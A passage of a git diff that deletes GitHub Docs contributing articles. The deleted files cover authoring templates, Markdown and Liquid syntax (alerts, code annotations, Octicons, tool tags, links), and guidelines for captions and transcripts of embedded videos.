endraw %}{% data variables.product.pat_generic %}{% raw %} for the action to use and then storing it in secrets -For UI based tasks, include the button or options the users should click -If the task adds code, include the code in context (don't just show `needs: setup` show the entire `setup` and `dependent` jobs) -{% endcomment %} - -### Another task chunk - -## Step 2: Do the next thing - -{% comment %} -Rinse and repeat, adding steps and tasks until the tutorial is complete -Remember to show code snippets in context -{% endcomment %} - -## Further reading - -{% comment %} -Include a bulleted list of tutorials or articles the user can reference to extend the concepts taught in this tutorial -{% endcomment %} - -- [Article title](article-URL){% endraw %} -``` - -<!-- markdownlint-enable search-replace --> - -## Language guides for GitHub Actions - -Use the content model for full instructions and examples on how to write for {% data variables.product.prodname_docs %}. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/about-the-content-model). - -<!-- markdownlint-disable search-replace --> - -```yaml -{% raw %}--- -title: Guide title -shortTitle: <subject> # Max 31 characters -intro: 'Article intro. See tips for a great intro below' -product: "{{ optional product callout }}" -type: tutorial -topics: - - <topic> # One or more from list of allowed topics: https://github.com/github/docs/blob/main/data/allowed-topics.js -versions: - - <version> ---- - -{% comment %} -- Great intros clarify who the guide is intended for, state what the user will accomplish, and state the technologies that will be used. -- Intros are typically 1-3 sentence summaries, with a longer "Introduction" section that follows. -- Remove these comments from your article file when you're done writing -{% endcomment %} - -## Introduction - -{% comment %} -The language guide introduction should include the following in a short paragraph - -- Clarify audience. -- State prerequisites and prior knowledge needed. -- Should the user have read any other articles? -- State what the user will accomplish or build and the user problem it solves. -{% endcomment %} - -## Starting with the <language> workflow template - -{% comment %} -Language guides typically walk through and build upon a workflow template. If that format doesn't work, you can include a boilerplate workflow. -- Link to the GitHub Actions CI workflow template as the boilerplate reference code and then walk through and build on that code in this guide - https://github.com/actions/starter-workflows/tree/master/ci -- Provide instructions for adding the workflow template to a repository. -- Include the starter template workflow code. -{% endcomment %} - -## Running on different operating systems - -{% comment %} -Include a brief overview of how to choose the runner environment. These should be alternatives to what operating system is presented in the workflow template/boilerplate template. -{% endcomment %} - -## Configuring the <language> version - -{% comment %} -- Describe when and how to use available setup actions that configure the version of the language on the runner (ex. actions/setup-node). -- How does the setup action configure the version and what happens when the version isn't supported in the environment. What is the default version, when no version is configured. -- Include any additional features the setup action might provide that are useful to CI. -- If applicable, provide examples of configuring exact versions or major/minor versions. -- Include information about software already installed on GitHub-hosted runners or software configuration necessary to build and test the project. -- Provide examples of configuring matrix strategies. -- Link out to any docs about available software on the GitHub-hosted runners. (Ex. https://docs.github.com/en/actions/reference/software-installed-on-github-hosted-runners). -- Include code samples. -{% endcomment %} - -## Installing dependencies - -{% comment %} -- Include example of installing dependencies to prepare for building and testing. -- Are there any dependencies or scenarios where people might need to install packages globally? -- Include examples of common package managers. -- If the language is supported by GitHub Packages, include an example installing dependencies from GitHub. -- Include code samples. -{% endcomment %} - -## Caching dependencies - -{% comment %} -Include an example of restoring cached dependencies. We'll want to link out to the article about caching for more information (https://docs.github.com/en/actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows). -{% endcomment %} - -## Building your code - -{% comment %} -- Include any compile steps. -- Include any test commands. -- Note that you can use the same commands that your repository needs to build and test your code by simply replacing the commands in the `run` keyword. -- Include any basic examples or commands specific to test frameworks. -- Include any common databases or services that might be needed. If so, we can link out to the services guides in the docs (https://docs.github.com/en/actions/configuring-and-managing-workflows/using-databases-and-service-containers). -{% endcomment %} - -## Packaging workflow data as artifacts - -{% comment %} -This section can simply link out to https://docs.github.com/en/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts or provide additional information about which artifacts might be typical to upload for a CI workflow. -{% endcomment %}{% endraw %} -``` - -<!-- markdownlint-enable search-replace --> diff --git a/content/contributing/writing-for-github-docs/using-markdown-and-liquid-in-github-docs.md b/content/contributing/writing-for-github-docs/using-markdown-and-liquid-in-github-docs.md deleted file mode 100644 index f9794d479586..000000000000 --- a/content/contributing/writing-for-github-docs/using-markdown-and-liquid-in-github-docs.md +++ /dev/null @@ -1,461 +0,0 @@ ---- -title: Using Markdown and Liquid in GitHub Docs -shortTitle: Markdown and Liquid -intro: 'You can use Markdown and Liquid to format content, create reusable content, and write content for different versions on {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs ---- - -## About using Markdown and Liquid in {% data variables.product.prodname_docs %} - -{% data variables.product.prodname_docs %} are written using Markdown, which is a human-friendly syntax for formatting plain text. We use the variant of Markdown called {% data variables.product.prodname_dotcom %} Flavored Markdown and ensure that it is compliant with CommonMark. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github). - -We use Liquid syntax to expand the functionality to provide accessible tables, maintainable links, versioning, variables, and chunks of reusable content. For more information about Liquid, see the [Liquid documentation](https://shopify.github.io/liquid/basics/introduction/). - -The content on this site uses Markdown rendering powered by [`/src/content-render`](https://github.com/github/docs/blob/main/src/content-render/README.md), which is in turn built on the [`remark`](https://remark.js.org/) Markdown processor. - -## Lists - -In a list item, the general rules for additional content after the first paragraph are: - -* Images and subsequent paragraphs should each be on their own line and separated by a blank line. -* All subsequent lines in a list item must match up with the first text after the list marker. - -### Example usage of a list - -This example shows the correct way to align list items with multiple paragraphs or objects. - -```markdown -1. Under your repository name, click **Actions**. - - ![Screenshot of the tabs for the "github/docs" repository. The "Actions" tab is highlighted with an orange outline.](/assets/images/help/repository/actions-tab-global-nav-update.png) - - This is another paragraph in the list. - -1. This is the next item. -``` - -This content is displayed on the {% data variables.product.prodname_docs %} site with the content under the first list item correctly aligned. - -### Example list rendered on {% data variables.product.prodname_docs %} - -1. Under your repository name, click **Actions**. - - ![Screenshot of the tabs for the "github/docs" repository. The "Actions" tab is highlighted with an orange outline.](/assets/images/help/repository/actions-tab-global-nav-update.png) - - This is another paragraph in the list. -1. This is the next item. - -## Alerts - -Alerts highlight important information that users need to know. For details about supported alert types, how to format them in Markdown, and information on when to use alerts, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#alerts). - -### Examples of alerts - -```markdown -> [!TIP] -> Try this out! -``` - -```markdown -> [!NOTE] -> Generally alerts should be short. -> -> But occasionally may require more than one paragraph -``` - -### Example alerts rendered on {% data variables.product.prodname_docs %} - -> [!TIP] -> Try this out! - -> [!NOTE] -> Generally alerts should be short. -> -> But occasionally may require more than one paragraph - -## Code sample syntax highlighting - -To render syntax highlighting in command line instructions and code samples, we use triple backticks followed by the language of the sample. For a list of all supported languages, see [`code-languages.yml`](https://github.com/github/docs/blob/main/data/code-languages.yml). - -### Example usage of code syntax highlighting - - ```bash - git init YOUR-REPOSITORY - ``` - -Within the code sample syntax, use all uppercase text to indicate placeholder text or content that varies for each user, such as a user or repository name. By default, codeblocks will escape the content within the triple backticks. If you need to write sample code that parses the content (for example, to italicize text within `<em>` tags instead of passing the tags through literally), wrap the codeblock in `<pre>` tags. - -### Code blocks with a copy button - -You can also add a header that includes the name of the language and a button to copy the contents of the code block. - -For example, the following code adds syntax highlighting for JavaScript and a copy button for the code sample. - -#### Example usage of a copy button - - ```javascript copy - const copyMe = true - ``` - -#### Example code rendered on {% data variables.product.prodname_docs %} - -```javascript copy -const copyMe = true -``` - -## Code sample annotations - -Code sample annotations help explain longer code examples by rendering comments as annotations next to the sample code. This lets us write longer explanations of code without cluttering the code itself. Code samples with annotations are rendered in a two pane layout with the code sample on the left and the annotations on the right. The annotations are visually emphasized when someone hovers their cursor over the code example. - -Code annotations only work in articles with the `layout: inline` frontmatter property. For more information on how to write and style code annotations, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/annotating-code-examples). - -### Example of an annotated code sample - - ```yaml annotate - # The name of the workflow as it will appear in the "Actions" tab of the GitHub repository. - name: Post welcome comment - # The `on` keyword lets you define the events that trigger when the workflow is run. - on: - # Add the `pull_request` event, so that the workflow runs automatically - # every time a pull request is created. - pull_request: - types: [opened] - # Modifies the default permissions granted to `GITHUB_TOKEN`. - permissions: - pull-requests: write - # Defines a job with the ID `build` that is stored within the `jobs` key. - jobs: - build: - name: Post welcome comment - # Configures the operating system the job runs on. - runs-on: ubuntu-latest - # The `run` keyword tells the job to execute the [`gh pr comment`](https://cli.github.com/manual/gh_pr_comment) command on the runner. - steps: - - run: gh pr comment $PR_URL --body "Welcome to the repository!" - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - PR_URL: ${{ github.event.pull_request.html_url }} - ``` - -For an example of an article that uses code annotations on {% data variables.product.prodname_docs %}, see [AUTOTITLE](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions). - -## Octicons - -Octicons are icons used across {% data variables.product.prodname_dotcom %}’s interface. We reference Octicons when documenting the user interface and to indicate binary values in tables. Find the name of specific Octicons on the [Octicons site](https://primer.style/octicons). - -If you're referencing an Octicon that appears in the UI, identify whether the Octicon is the entire label of the UI element (for example, a button that is labeled only with "+") or whether it's only decorative, in addition to another label (for example, a button is labeled "+ Add message"). - - * If the Octicon is the entire label, use your browser's developer tools to inspect the Octicon and determine what screen reader users will hear instead. Then, use that text for the `aria-label` (for example, `{% raw %}{% octicon "plus" aria-label="Add file" %}{% endraw %}`). Occasionally, in the UI, the Octicon itself will not have an `aria-label`, but a surrounding element such as a `<summary>` or `<div>` tag will. - * Some Octicons used as labels have dynamic `aria-label` elements that change based on the state of the UI element or a user input. For example, when someone has two security policies-`Policy A` and `Policy B`-their UI will show two trash Octicons labelled `{% raw %}{% octicon "trash" aria-label="Delete Policy A" %}{% endraw %}` and `{% raw %}{% octicon "trash" aria-label="Delete Policy B" %}{% endraw %}`. For dynamic `aria-label` elements, since we can't document the exact `aria-label` that people will encounter, describe the Octicon and a placeholder example of the label (for example, `"{% raw %}{% octicon "trash" aria-label="The trash icon, labelled 'Delete YOUR-POLICY-NAME'." %}{% endraw %}"`). This will help people identify both the Octicon and how it is labelled, and give context for collaborating with people who are visually describing the Octicon. - * If the Octicon is decorative, it's likely hidden to screen readers with the `aria-hidden=true` attribute. If so, for consistency with the product, use `aria-hidden="true"` in the Liquid syntax for the Octicon in the docs as well (for example, `"{% raw %}{% octicon "plus" aria-hidden="true" %} Add message"{% endraw %}`). - -If you're using the Octicon in another way, such as using the "check" and "x" icons to reflect binary values in tables, use the `aria-label` to describe the meaning of the Octicon, not its visual characteristics. For example, if you're using a "x" icon in the "Supported" column of a table, use "Not supported" as the `aria-label`. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#tables). - -### Example usage of Octicons - -```text -{% raw %}{% octicon "<name of Octicon>" %} -{% octicon "plus" %} -{% octicon "plus" aria-label="Add file" %} -"{% octicon "plus" aria-hidden="true" %} Add file"{% endraw %} -``` - -## Operating system tags - -We occasionally need to write documentation for different operating systems. Each operating system may require a different set of instructions. We use operating system tags to demarcate information for each operating system. - -### Example usage of operating system tags - -```text -{% raw %}{% mac %} - -These instructions are pertinent to Mac users. - -{% endmac %}{% endraw %} -``` - -```text -{% raw %}{% linux %} - - These instructions are pertinent to Linux users. - -{% endlinux %}{% endraw %} -``` - -```text -{% raw %}{% windows %} - -These instructions are pertinent to Windows users. - -{% endwindows %}{% endraw %} -``` - -You can define a default platform in an article's YAML frontmatter. For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-yaml-frontmatter#defaultplatform). - -## Tool tags - -We occasionally need to write documentation that has different instructions for different tools. For example, the {% data variables.product.prodname_dotcom %} UI, {% data variables.product.prodname_cli %}, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_github_codespaces %}, and {% data variables.product.prodname_vscode %} might be able to accomplish the same task using different steps. We use tool tags to control what information is displayed for each tool. - -{% data variables.product.prodname_docs %} maintains tool tags for {% data variables.product.prodname_dotcom %} products and selected third-party extensions. See the [`all-tools.js`](https://github.com/github/docs/blob/main/src/tools/lib/all-tools.js) object in the `github/docs` repository for a list of all supported tools. - -On rare occasions, we will add new tools. Before adding a new tool, read [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/creating-tool-switchers-in-articles). To add a new tool, add an entry to the `allTools` object in [`lib/all-tools.js`](https://github.com/github/docs/blob/main/src/tools/lib/all-tools.js) as a key-value pair. The key is the tag you'll use to refer to the tool in the article, and the value is how the tool will be identified on the tool picker at the top of the article. - -You can define a default tool for an article in the YAML frontmatter. For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-yaml-frontmatter#defaulttool). - -### Example usage of tool tags - -```text -{% raw %}{% api %} - -These instructions are pertinent to API users. - -{% endapi %}{% endraw %} -``` - -```text -{% raw %}{% bash %} - -These instructions are pertinent to Bash shell commands. - -{% endbash %}{% endraw %} -``` - -```text -{% raw %}{% cli %} - -These instructions are pertinent to GitHub CLI users. - -{% endcli %}{% endraw %} -``` - -```text -{% raw %}{% codespaces %} - -These instructions are pertinent to Codespaces users. They are mostly used outside the Codespaces docset, when we want to refer to how to do something inside Codespaces. Otherwise `webui` or `vscode` may be used. - -{% endcodespaces %}{% endraw %} -``` - -```text -{% raw %}{% curl %} - -These instructions are pertinent to curl commands. - -{% endcurl %}{% endraw %} -``` - -```text -{% raw %}{% desktop %} - - These instructions are pertinent to GitHub Desktop. - -{% enddesktop %}{% endraw %} -``` - -```text -{% raw %}{% importer_cli %} - -These instructions are pertinent to GitHub Enterprise Importer CLI users. - -{% endimporter_cli %}{% endraw %} -``` - -```text -{% raw %}{% javascript %} - -These instructions are pertinent to javascript users. - -{% endjavascript %}{% endraw %} -``` - -```text -{% raw %}{% jetbrains %} - -These instructions are pertinent to users of JetBrains IDEs. - -{% endjetbrains %}{% endraw %} -``` - -```text -{% raw %}{% powershell %} - -These instructions are pertinent to `pwsh` and `powershell` commands. - -{% endpowershell %}{% endraw %} -``` - -```text -{% raw %}{% vscode %} - -These instructions are pertinent to VS Code users. - -{% endvscode %}{% endraw %} -``` - -```text -{% raw %}{% webui %} - -These instructions are pertinent to GitHub UI users. - -{% endwebui %}{% endraw %} -``` - -## Reusable and variable strings of text - -Reusable strings (commonly called content references or conrefs) contain content that is used in more than one place in our documentation. Creating these allows us to update the content in a single location rather than every place the string appears. - -For longer strings, we use reusables, and for shorter strings, we use variables. For more information about reusables and variables, see [AUTOTITLE](/contributing/writing-for-github-docs/creating-reusable-content). - -## Table pipes - -Every row of a table in the {% data variables.product.prodname_docs %} must start and end with a pipe, `|`, even rows that contain only Liquid versioning. - -```markdown -| Where is the table located? | Does every row end with a pipe? | -| --- | --- | -| {% raw %}{% ifversion some-cool-feature %}{% endraw %} | -| GitHub Docs | Yes | -| {% raw %}{% endif %}{% endraw %} | -``` - -## Table row headers - -If you create a table where the first column contains headers for the table rows, wrap your table in the Liquid tag {% raw %}`{% rowheaders %} {% endrowheaders %}`{% endraw %}. For more information on using markup for tables, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#use-proper-markup-for-row-and-column-headers). - -### Example table with row headers - -```markdown -{% raw %}{% rowheaders %} - -| | Mona | Tom | Hobbes | -|-------------|------|--------|--------| -|Type of cat | Octo | Tuxedo | Tiger | -|Likes to swim| Yes | No | No | - -{% endrowheaders %}{% endraw %} -``` - -### Example table without row headers - -```markdown -| Name | Vocation | -| ------ | ---------------- | -| Mona | GitHub mascot | -| Tom | Mouse antagonist | -| Hobbes | Best friend | -``` - -## Tables with codeblocks - -Although using tables to contain block items, such as code blocks, is generally discouraged, occasionally it may be appropriate. - -Because [tables in GitHub Flavored Markdown](https://github.github.com/gfm/#tables-extension-) cannot contain any line breaks or block-level structures, you must use HTML tags to write the table structure. - -When HTML tables contain code blocks, the width of the table might exceed the regular width of page content, and then overflow into the area normally containing the mini table of contents. - -If this happens, add the following CSS style to the `<table>` HTML tag: - -```html -<table style="table-layout: fixed;"> -``` - -For a current example of this usage, see [AUTOTITLE](/actions/examples). - -## Links - -Links to docs in the `docs` repository must start with a product ID (like `/actions` or `/admin`) and contain the entire filepath, but not the file extension. For example, `/actions/creating-actions/about-custom-actions`. - -Image paths must start with `/assets` and contain the entire filepath including the file extension. For example, `/assets/images/help/settings/settings-account-delete.png`. - -The links to Markdown pages undergo some transformations on the server side to match the current page's language and version. The handling for these transformations lives in [`lib/render-content/plugins/rewrite-local-links`](https://github.com/github/docs/blob/main/src/content-render/unified/rewrite-local-links.js). - -For example, if you include the following link in a content file: - -```text -/github/writing-on-github/creating-a-saved-reply -``` - -When viewed on {% data variables.product.prodname_docs %}, the link gets rendered with the language code: - -```text -/en/github/writing-on-github/creating-a-saved-reply -``` - -and when viewed on {% data variables.product.prodname_ghe_server %} docs, the version is included as well: - -```text -/en/enterprise-server@2.20/github/writing-on-github/creating-a-saved-reply -``` - -For more information about links, see [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#links). - -### Permalinks - -Because the site is dynamic, it does not build HTML files for each different version of an article. Instead it generates a "permalink" for every version of the article. It does this based on the article's [`versions` frontmatter](/contributing/syntax-and-versioning-for-github-docs/using-yaml-frontmatter#versions). - -> [!NOTE] -> As of early 2021, the `free-pro-team@latest` version is not included in URLs. A helper function called `lib/remove-fpt-from-path.js` removes the version from URLs. - -For example, an article that is available in currently supported versions will have permalink URLs like the following: - -* `/en/get-started/git-basics/set-up-git` -* `/en/enterprise-cloud@latest/get-started/git-basics/set-up-git` -* `/en/enterprise-server@3.10/get-started/git-basics/set-up-git` -* `/en/enterprise-server@3.9/get-started/git-basics/set-up-git` -* `/en/enterprise-server@3.8/get-started/git-basics/set-up-git` -* `/en/enterprise-server@3.7/get-started/git-basics/set-up-git` -* `/en/enterprise-server@3.6/get-started/git-basics/set-up-git` - -An article that is not available in {% data variables.product.prodname_ghe_server %} will have just one permalink: - -* `/en/get-started/git-basics/set-up-git` - -> [!NOTE] -> If you are a content contributor, you don't need to worry about supported versions when adding a link to a document. Following the examples above, if you want to reference an article, you can just use its relative location: `/github/getting-started-with-github/set-up-git`. - -### Internal links with AUTOTITLE - -When linking to another {% data variables.product.prodname_docs %} page, use standard Markdown syntax like `[]()`, but type `AUTOTITLE` instead of the page title. The {% data variables.product.prodname_docs %} application will replace `AUTOTITLE` with the title of the linked page during rendering. This special keyword is case-sensitive, so take care with your typing or the replacement will not work. - -#### Example usage of internal links with AUTOTITLE - -* `For more information, see [AUTOTITLE](/path/to/page).` -* `For more information, see [AUTOTITLE](/path/to/page#section-link).` -* `For more information, see the TOOLNAME documentation in [AUTOTITLE](/path/to/page?tool=TOOLNAME).` - -> [!NOTE] -> Same-page section links do not work with this keyword. Type out the full header text instead. - -### Linking to the current article in a different version of the docs - -Sometimes you may want to link from an article to the same article in a different product version. For example: - -* You mention some functionality that is not available for free, pro, or team plans and you want to link to the {% data variables.product.prodname_ghe_cloud %} version of the same page. -* The {% data variables.product.prodname_ghe_server %} version of an article describes a feature that shipped with that version, but site administrators can upgrade to the latest version of the feature that's in use on {% data variables.product.prodname_ghe_cloud %}. - -You can link directly to a different version of the page using the `currentArticle` property. This means that the link will continue to work directly even if the article URL changes. - -```markdown -{% raw %}{% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest{{ currentArticle }}).{% endif %}{% endraw %} -``` - -### Preventing transformations - -Sometimes you want to link to a Dotcom-only article in Enterprise content and you don't want the link to be Enterprise-ified. To prevent the transformation, you should include the preferred version in the path. - -```markdown -[GitHub's Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service) -``` - -Sometimes the canonical home of content moves outside the docs site. None of the links included in [`src/redirects/lib/external-sites.json`](https://github.com/github/docs/blob/main/src/redirects/lib/external-sites.json) get rewritten. See [`contributing/redirects.md`](https://github.com/github/docs/blob/main/contributing/redirects.md) for more info about this type of redirect. - -### Legacy filepaths and redirects for links - -Our docs contain links that use legacy filepaths such as `/article/article-name` or `/github/article-name`. Our docs also contain links that refer to articles by past names. Both of these link types function properly because of redirects, but they are bugs. - -When you add a link to an article, use the current filepath and article name. diff --git a/content/contributing/writing-for-github-docs/using-videos-in-github-docs.md b/content/contributing/writing-for-github-docs/using-videos-in-github-docs.md deleted file mode 100644 index ec16a22b7625..000000000000 --- a/content/contributing/writing-for-github-docs/using-videos-in-github-docs.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Using videos in GitHub Docs -shortTitle: Use videos -intro: 'This guide explains how to create videos that support user needs for {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About videos in {% data variables.product.prodname_docs %} - -Videos are used rarely in the {% data variables.product.prodname_docs %}. When videos are necessary to provide the best user experience for an article, they are used together with written text. Videos are not a replacement for written content. Videos should never be the only way information is communicated because they are more difficult to keep up to date and are not accessible to everyone. - -Use these guidelines to determine if a video is appropriate to include in an article or on a landing page in the docs. - -If you add a link to a video or embed a video in the {% data variables.product.prodname_docs %}, add the video's metadata to the [Videos in {% data variables.product.prodname_docs %}](https://github.com/github/docs/blob/main/contributing/videos-in-docs.md) file in the `github/docs` repository. - -The Docs team does not create or maintain video content. Videos are purely supplemental to help communicate significant or complex topics, and should be used sparingly because they are not a content type owned by the Docs team. - -## Video checklist - -Use this checklist to quickly determine if a video might be appropriate to add to an article or landing page. - -* Is the video the only way to communicate the information? -* Does {% data variables.product.prodname_dotcom %} own the video? -* Is the video well produced? (See the [Best practices](#best-practices) section for more information.) -* Is the video accessible to the broadest group of users possible? (See the [Accessibility requirements](#accessibility-requirements) section for more information.) -* Is the video less than five minutes long? -* Does the video have a specific audience and purpose in the docs? If it is only relevant to a particular product or feature, you must version it. See the [Versioning](#versioning) section for more information. - -If you answer "no" to any of these items, the video is not suitable for adding to the {% data variables.product.prodname_docs %}. - -### Maintaining videos - -If a video has a maintenance schedule or a team directly responsible for auditing and updating the content if it becomes out of date, you can include the video without any additional steps. - -If the video does not have a maintenance schedule, create an issue with an appropriate target date to review or remove the video. - -## Best practices - -Use these best practices to help determine if a video is well produced and is of a high enough quality to be included in the {% data variables.product.prodname_docs %}. - -Good videos introduce an instructional agenda that includes steps and goals so that someone watching quickly knows what they will learn. Videos are demonstrative, both showing and explaining the relevant steps that are performed. Videos should be engaging and encouraging. Videos must be well produced to be included in the {% data variables.product.prodname_docs %}. A well produced video contains few barriers for people with disabilities, has professional narration (if it is a narrated video), has clear visuals, and comes from a trusted source such as {% data variables.product.prodname_dotcom %} or Microsoft. - -Videos are broadly grouped into three categories: product overviews, feature videos, and tutorials. These descriptions are generalizations of each video type. Some videos might not fit perfectly in one category, but can still be useful without meeting the exact guidelines. - -### Product overviews - -* **Purpose:** Briefly explain what the product is, showcase the main functionality, and get people interested -* **Length:** Less than a minute -* **Possible audiences:** People who want to know if a feature is useful for their goals, people who are new to {% data variables.product.company_short %} and trying to understand what the products do -* **Possible locations in the docs:** Landing pages and guides - -### Feature videos - -* **Purpose:** Supplement conceptual or procedural content -* **Length:** As short as possible, without exceeding five minutes. Break longer content into multiple shorter, focused videos -* **Possible audiences:** People who are learning about or how to use a feature -* **Possible locations in the docs:** Guides, conceptual articles, procedural articles - -### Tutorials - -* **Purpose:** Help novice users get going with a product, drive adoption, or explain complex functionalities -* **Length:** Individual videos should be five minutes or less. Complex topics can have a series of shorter videos spread across an article. Total length should be a maximum of 15 minutes -* **Possible audiences:** New users of features or products -* **Possible locations:** Guides - -## When to use videos - -We might use videos instead of other visuals such as screenshots or diagrams when it is important to show movement or changes in state, like when someone navigates from one screen to another or demos a feature that involves progressing through multiple menus. However, screenshots or text may be sufficient to explain these procedures. - -Videos can also be helpful to introduce features or products where a 30 second video can supplement information that requires multiple paragraphs to write. - -Use videos that explain the value of the procedure or concept that they are showing. - -## When to not use videos - -Do not use videos for features that change quickly and may make videos out of date. Do not use videos that contradict the written content or violate any parts of the [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#alt-text). Do not use videos that just show a task without explaining or elaborating on the procedure. Videos must be useful and relevant, which includes staying accurate over time. - -## Accessibility requirements - -These are the minimum requirements for a video to be included in the {% data variables.product.prodname_docs %}. If a video violates any of these requirements, it cannot be added to the docs. - -* No flashing or strobe effects -* Must have closed captions. See [Creating video captions](#creating-video-captions) below for more information -* No graphics overlap with where captions appear -* Typography must be legible -* Any overlays must have sufficient contrast ratios -* Any text must be on the screen long enough to be read (the text should appear onscreen for longer than it takes to read it out loud twice) -* Must have proofread descriptive transcripts for what happens scene-by-scene. See [Creating video transcripts](#creating-video-transcripts) below for more information -* Videos do not autoplay - -### Creating video captions - -Videos must have human-generated captions before being added to the Docs site. You can use auto caption technology to help create the captions, but they must be proofread and edited for accuracy by a person. If the video hosting service has a native caption tool, like YouTube, you can use that tool to prepare captions or create a properly formatted `SRT` or `VTT` transcript file to upload with the video. - -Creating captions is part of the process of producing videos that can be accessed by more people, so the owner of a video being added to {% data variables.product.prodname_docs %} should provide captions. - -#### Guidelines for captions - -Where possible, captions should exactly match the words spoken in the video. Do not paraphrase or truncate captions, unless serious time constraints mean it would be difficult for someone to read the captions in the time given. - -Captions must be synchronized to appear at approximately the same time as the audio. Captions should always be timed to appear on screen at the moment the speaker begins talking. For fast speech, where it would be difficult to read captions timed precisely to the audio, you can extend the captions to stay on screen after the speech has finished. - -If a video has multiple speakers, identify the speakers in the captions. Do this by adding the speaker's name, or a descriptive name such as `Developer`, before the start of the sentence. For example: `Jimmy: Hello.`. You only need to do this when the speaker changes, not for every line of dialogue. If it's obvious from the visuals who is speaking, you do not need to identify the speaker. - -Captions must be one or two lines, and no more than 32 characters per line. Put each new sentence on a new line. If you need to break a line mid-sentence, do so at a logical point, for example after commas or before conjunctions like `and` or `but`. - -#### Adding and editing captions on YouTube - -For videos hosted on YouTube, see [Add subtitles and captions](https://support.google.com/youtube/answer/2734796?hl=en&ref_topic=7296214) and [Edit or remove captions](https://support.google.com/youtube/answer/2734705?hl=en&ref_topic=7296214) in the YouTube docs. - -### Creating video transcripts - -For every video linked or embedded in the docs, we must have a descriptive transcript of the video. Transcript articles are formatted like other articles, with YAML frontmatter and Markdown content. To add a transcript to the Docs site, create an article in [`content/video-transcripts`](https://github.com/github/docs/tree/main/content/video-transcripts), and include the transcript as the article's body text. Give the article a filename like `transcript-VIDEO-NAME.md` and a `title` frontmatter property of `Transcript - VIDEO NAME`. Add the article to the `index.md` file in the `video-transcripts` directory. - -Do not use Liquid variables or reusables to replace things like product names in the transcript. The transcript should be faithful to the audio in the video, and we should not change any text in the transcript as a result of updating a variable or reusable after the video was produced. - -Creating transcripts is part of the process of producing videos that can be accessed by more people, so the owner of a video being added to the docs site should provide the content for a transcript. - -You can use captions as the foundation for a transcript. Edit the captions to remove any timestamps and include the relevant information detailed below. A descriptive transcript includes a text version of both audio and visual information needed to understand the content of a video. - -* If a video has multiple speakers, identify the speakers in the transcript. -* If a speaker's gender is known, you can use their preferred pronouns when describing their actions. For example, `She points to the computer screen.` If the speaker's gender is unknown or irrelevant to the visual being described, you can use the singular they pronoun. -* Format the transcript in logical paragraphs, lists, and sections. If it helps people understand the content, you may add headers to sections. Consider how someone would get information from the transcript if they are not also viewing the video. -* Add any onscreen text, relevant visual elements, or non-speech sounds that are not included in the captions. Place these descriptions after the spoken text that accompanies them in the video. Format visual information in brackets. For example, `[Background music plays. The narrator clicks the Code button and then the "+ New codespace" button.]`. -* Add a `product_video` property to the transcript article's YAML frontmatter. The value of the `product_video` property is the YouTube URL of the video. The video's YouTube URL will display as an external link in the transcript article. -* At the end of the transcript, write `End of transcript.` and link to the landing page for the product the video is about using the pattern `For more information about PRODUCT, see the ["Product" documentation](link/to/landing-page).`. - -See [Text Transcript with Description of Visuals](https://www.w3.org/WAI/perspective-videos/captions/#transcript) in the W3C docs for more examples of audio and visual transcriptions. - -#### Linking to transcripts from externally hosted videos - -Add a link to the article with a video's transcript in the description of the video on the platform where it is hosted. For more information, see [Edit video settings](https://support.google.com/youtube/answer/57404?) in the YouTube documentation. - -#### Linking to transcripts for embedded videos - -In any content with an embedded video, add a `product_video_transcript` property below the `product_video` property in the YAML frontmatter. The value of `product_video_transcript` is a link to the transcript article in the `video-transcripts` directory. - -```yaml -title: Example product landing page -product_video: 'https://www.youtube-nocookie.com/embed/URL' -product_video_transcript: /content/video-transcripts/TRANSCRIPT-TITLE -``` - -## Titles for videos - -Titles should be descriptive and follow the guidelines for titles in the content model. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/contents-of-a-github-docs-article#titles). - -## Versioning - -If a video is only relevant for specific {% data variables.product.prodname_dotcom %} products (Free, Pro and Team; {% data variables.product.prodname_ghe_server %}; and {% data variables.product.prodname_ghe_cloud %}), the video must be versioned for those products. Use Liquid conditional statements to version the videos appropriately. The Liquid conditional versioning may need to be added when the content is initially created, or may need to be added when the content is updated for a feature update or {% data variables.product.prodname_enterprise %} release. For more information about liquid conditional statements and versioning, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/versioning-documentation). - -## Video hosting - -Videos must be hosted somewhere that {% data variables.product.prodname_dotcom %} owns and can grant the Docs team access to. Videos should not track users or use cookies. Currently, {% data variables.product.prodname_dotcom %}'s videos are hosted on YouTube and added to the docs using the [Privacy Enhanced Mode](https://support.google.com/youtube/answer/171780?hl=en#zippy=%2Cturn-on-privacy-enhanced-mode) by changing the domain for the embedded URL from `https://www.youtube.com/VIDEO` to `https://www.youtube-nocookie.com/VIDEO`. diff --git a/content/contributing/writing-for-github-docs/using-yaml-frontmatter.md b/content/contributing/writing-for-github-docs/using-yaml-frontmatter.md deleted file mode 100644 index 33edfed2f65f..000000000000 --- a/content/contributing/writing-for-github-docs/using-yaml-frontmatter.md +++ /dev/null @@ -1,321 +0,0 @@ ---- -title: Using YAML frontmatter -shortTitle: YAML frontmatter -intro: 'You can use YAML frontmatter to define versioning, add metadata, and control the 